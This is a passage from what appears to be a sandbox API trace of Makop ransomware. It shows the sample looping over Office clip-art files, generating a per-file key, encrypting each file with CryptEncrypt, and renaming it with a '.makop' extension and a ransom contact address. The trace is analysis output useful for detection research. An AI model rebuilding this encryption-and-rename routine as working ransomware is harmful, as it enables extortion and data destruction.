ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0163.367] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF") returned 61 [0163.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.368] GetProcessHeap () returned 0x48a0000 [0163.368] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.369] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.369] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.369] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.369] GetProcessHeap () returned 0x48a0000 [0163.369] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.369] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.369] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.369] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.373] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.374] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.374] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.374] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xee0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xee0, lpOverlapped=0x0) returned 1 [0163.374] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0, dwBufLen=0xee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xee0) returned 1 [0163.374] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xee0, lpOverlapped=0x0) returned 1 [0163.375] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.375] SetEndOfFile (hFile=0xf0) returned 1 [0163.380] GetProcessHeap () returned 0x48a0000 [0163.380] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.380] GetProcessHeap () returned 0x48a0000 [0163.380] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.380] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.382] CloseHandle (hObject=0xf0) returned 1 [0163.382] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0163.383] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF") returned 61 [0163.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.384] GetProcessHeap () returned 0x48a0000 [0163.384] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.384] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.384] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.384] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.388] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.388] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.388] GetProcessHeap () returned 0x48a0000 [0163.388] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.388] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.388] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.389] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.389] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.389] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.390] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.390] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.390] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x30da, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x30da, lpOverlapped=0x0) returned 1 [0163.392] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30e0, dwBufLen=0x30e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x30e0) returned 1 [0163.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x30e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x30e0, lpOverlapped=0x0) returned 1 [0163.393] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x31b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.393] SetEndOfFile (hFile=0xf0) returned 1 [0163.399] GetProcessHeap () returned 0x48a0000 [0163.399] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.399] GetProcessHeap () returned 0x48a0000 [0163.399] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.399] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0230876.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0230876.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.401] CloseHandle (hObject=0xf0) returned 1 [0163.401] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0163.402] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF") returned 61 [0163.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.403] GetProcessHeap () returned 0x48a0000 [0163.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.403] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.403] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.404] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.404] GetProcessHeap () returned 0x48a0000 [0163.404] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.404] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.404] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.404] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.409] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.409] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.409] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.410] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x77f0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x77f0, lpOverlapped=0x0) returned 1 [0163.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x77f0, dwBufLen=0x77f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x77f0) returned 1 [0163.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x77f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x77f0, lpOverlapped=0x0) returned 1 [0163.412] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x78c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.413] SetEndOfFile (hFile=0xf0) returned 1 [0163.419] GetProcessHeap () returned 0x48a0000 [0163.420] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.420] GetProcessHeap () returned 0x48a0000 [0163.420] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.420] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.422] CloseHandle (hObject=0xf0) returned 1 [0163.422] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0163.422] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF") returned 61 [0163.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.426] GetProcessHeap () returned 0x48a0000 [0163.426] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.426] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.430] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.430] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.430] GetProcessHeap () returned 0x48a0000 [0163.430] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.430] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.430] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.430] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.430] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.431] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.431] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.431] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.431] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.431] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.432] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1522, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1522, lpOverlapped=0x0) returned 1 [0163.433] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1530, dwBufLen=0x1530 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1530) returned 1 [0163.433] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.433] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1530, lpOverlapped=0x0) returned 1 [0163.434] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.434] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.434] SetEndOfFile (hFile=0xf0) returned 1 [0163.440] GetProcessHeap () returned 0x48a0000 [0163.440] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.440] GetProcessHeap () returned 0x48a0000 [0163.440] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.440] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.442] CloseHandle (hObject=0xf0) returned 1 [0163.443] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, 